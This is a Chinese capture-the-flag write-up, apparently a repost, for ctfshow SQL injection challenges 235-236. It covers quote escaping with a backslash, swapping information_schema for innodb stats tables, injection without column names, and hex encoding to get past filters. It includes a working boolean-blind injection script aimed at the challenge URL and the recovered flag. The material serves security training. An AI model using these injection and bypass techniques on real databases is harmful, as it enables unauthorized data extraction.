IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> ctfshow sql235-236_updata_ban-infomation表_无列名注入 -> 正文阅读

[大数据]ctfshow sql235-236_updata_ban-infomation表_无列名注入

updata_ban-infomation表_无列名注入

updata

在这里插入图片描述
过滤了引号,用反斜杠 \ 注释掉password 后面的引号,那么username就能为我们控制
有用字符串的地方可以用 16 进制表示

ban-infomation表

很简单的无列名注入
首先是ban了information表,可以有很多其他表代替,得到数据库中的表名
Bypass information_schema与无列名注入
概述MySQL统计信息

mysql.innodb_table_stats和mysql.innodb_index_stats
这两个表比较好用,可以用自己的mysql试一下
得到了表名,下面就无法得到列名了,其他表没有column的信息

无列名注入

这里我拿这个users表举例
在这里插入图片描述
我们只知道表名 users,我们可以使用这样的一个联合查询,可以看到他的列名就会变成数字
我们还需要知道他的列数才行
在这里插入图片描述
之后我们要查哪一列信息,就可以用数字
注意:数字要用反引号
意思就是 把后面union查询的结果当一个表 注意要起别名 例如我后面这个 a
在这里插入图片描述
反引号不能用时:
在这里插入图片描述

布尔注入脚本

import requests
import random
url = 'http://e6ee800c-7aca-4c5d-863b-7694aafc6bfb.challenge.ctf.show:8080/api/index.php'

database = 'database()'

databases = 'select group_concat(schema_name) from information_schema.schemata'

tables = 'select group_concat(table_name) from mysql.innodb_index_stats where database_name=database()'

column = 'select group_concat(column_name) from information_schema.columns where table_name=0x666c616761'

flag="select group_concat(concat(`1`,`2`,`3`)) from (select 1,2,3 union select * from flaga) a "
#ctfshow{b2b18bea-dc4a-4ff5-a0d3-1256b3d4c370}
sql_in = 'sql inject error'
result = ""  # 结果
judge = "u6210"  # 判断
m=random.randint(1,100000)
for i in range(1, 100):
    l = 33
    r = 130
    mid = (l + r) >> 1
    while (l < r):
        payload = { #过滤了单引号
            'username':"where username=0x7573657231 and ascii(substr(({}),{},1))>{}#".format(flag,i,mid),
            'password':str(m)+'\\'
        }
        html = requests.post(url, data=payload)
        #print(html.text,mid)
        if sql_in in html.text:
            print('error!!')
            break
        if judge in html.text:
            l = mid + 1
            m = random.randint(1, 100000)
        else:
            r = mid
        mid = (l + r) >> 1
        # if (chr(mid) == " "):
        #     break
    if result[-1] == '!':
        break
    result = result + chr(mid)

    print(result)
print("result: ", result)

当union被过滤了

在这里插入图片描述

首先可以通过两列数据的比大小来确定列数
在这里插入图片描述
在这里插入图片描述
说明有三列数据

然后还是数据比大小来确定数据内容
在这里插入图片描述

236

过滤了flag 用 16进制表示 代替,其他同上

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-09 16:21:04  更:2021-10-09 16:23:24 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:19:25-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码